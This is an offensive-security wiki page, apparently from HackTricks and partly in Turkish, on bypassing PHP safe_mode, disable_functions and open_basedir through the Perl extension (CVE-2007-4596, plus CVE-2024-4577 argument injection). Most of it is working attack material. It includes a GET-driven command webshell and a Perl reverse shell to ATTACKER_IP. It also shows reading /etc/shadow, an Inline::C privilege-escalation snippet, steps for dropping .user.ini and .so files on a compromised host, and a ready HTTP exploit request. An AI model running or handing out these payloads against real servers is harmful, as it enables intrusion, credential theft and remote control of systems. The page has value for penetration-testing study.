PHP Perl Extension Safe_mode Bypass Exploit

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Arka Plan

The issue tracked as CVE-2007-4596 comes from the legacy perl PHP extension, which embeds a full Perl interpreter without honoring PHP’s safe_mode, disable_functions, or open_basedir controls. Any PHP worker that loads extension=perl.so gains unrestricted Perl eval, so command execution remains trivial even when all classic PHP process-spawning primitives are blocked. Although safe_mode disappeared in PHP 5.4, many outdated shared-hosting stacks and vulnerable labs still ship it, so this bypass is still valuable when you land on legacy control panels.

Uyumluluk & Paketleme Durumu (2025)

  • The last PECL release (perl-1.0.1, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.
  • PECL is being superseded by PIE, but older stacks still ship PECL/pear. Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI).

2025’te Test Edilebilir Bir Ortam Oluşturma

  • Fetch perl-1.0.1 from PECL, compile it for the PHP branch you plan to attack, and load it globally (php.ini) or via dl() (if permitted).
  • Quick Debian-based lab recipe:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • During exploitation confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for perl.so or abuse writable php.ini/.user.ini entries to force-load it.
  • Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or proc_open blacklists do not matter.

On-host build chain when phpize is reachable

If phpize and build-essential are present on the compromised host, you can compile and drop perl.so without shelling out to the OS:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Eğer open_basedir uygulanıyorsa, bırakılan .user.ini ve .so dosyalarının izin verilen bir dizinde bulunduğundan emin olun; extension= yönergesi basedir içinde hâlâ geçerlidir. Derleme akışı, PECL extensions oluşturmak için PHP kılavuzunu izler.

Original PoC (NetJackal)

Kaynak http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, eklentinin eval’e yanıt verdiğini doğrulamak için hâlâ kullanışlı:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Modern Payload İyileştirmeleri

1. TCP Üzerinden Tam TTY

Gömülü yorumlayıcı, IO::Socket’ı /usr/bin/perl engellense bile yükleyebilir:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape open_basedir olsa bile

Perl, PHP’nin open_basedir ayarını yoksayar, bu yüzden istediğiniz dosyaları okuyabilirsiniz:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Çıktıyı IO::Socket::INET veya Net::HTTP üzerinden yönlendirerek PHP tarafından yönetilen deskriptörlere dokunmadan veri sızdırın.

3. Ayrıcalık Yükseltme için Inline Derleme

Eğer Inline::C sistem genelinde mevcutsa, PHP’nin ffi veya pcntl’ine güvenmeden istek içinde yardımcıları derleyin:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Perl’i bir LOLBAS toolkit olarak düşünün — örneğin, mysqli eksik olsa bile MySQL DSN’lerini dump edin:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

2024+ Kötüye Kullanım: PHP-CGI Argüman Enjeksiyonu ile perl.so Yükleme (CVE-2024-4577)

Hâlâ PHP-CGI’yi açığa çıkaran Windows kurulumlarında, 2024 argüman-enjeksiyon regresyonu (CVE-2024-4577) yorumlayıcıya rastgele -d seçenekleri geçirmenizi sağlar. Bu, dl() devre dışı olsa ve php.ini salt okunur olsa bile Perl uzantısını yükleyebileceğiniz anlamına gelir:

  • Uyumlu bir perl.dll/perl.so oluşturun veya web’e yazılabilir bir dizine yükleyin (ör. C:\xampp\htdocs\temp\perl.dll).
  • Tek bir HTTP isteği gönderin; bu istek -d extension=C:\\xampp\\htdocs\\temp\\perl.dll enjeksiyonu yapmalı ve aynı istek gövdesinde Perl-backed payload bulunmalı:
POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

<?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>

Çünkü PHP worker artık gövdeyi okumadan önce Perl’i gömdüğünden, tüm klasik disable_functions/open_basedir kontrolleri atlatılıyor. Bu, yamalana kadar savunmasız Windows/CGI yığınlarında çalışır (PHP 8.1.29/8.2.20/8.3.8 ve sonraki sürümler regresyonu kapatır). Eğer open_basedir DLL yolunu engelliyorsa, dosyayı önce izin verilen temel dizine bırakın veya XAMPP ile gelen mevcut herkesçe okunabilir bir DLL yolunu kullanın.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin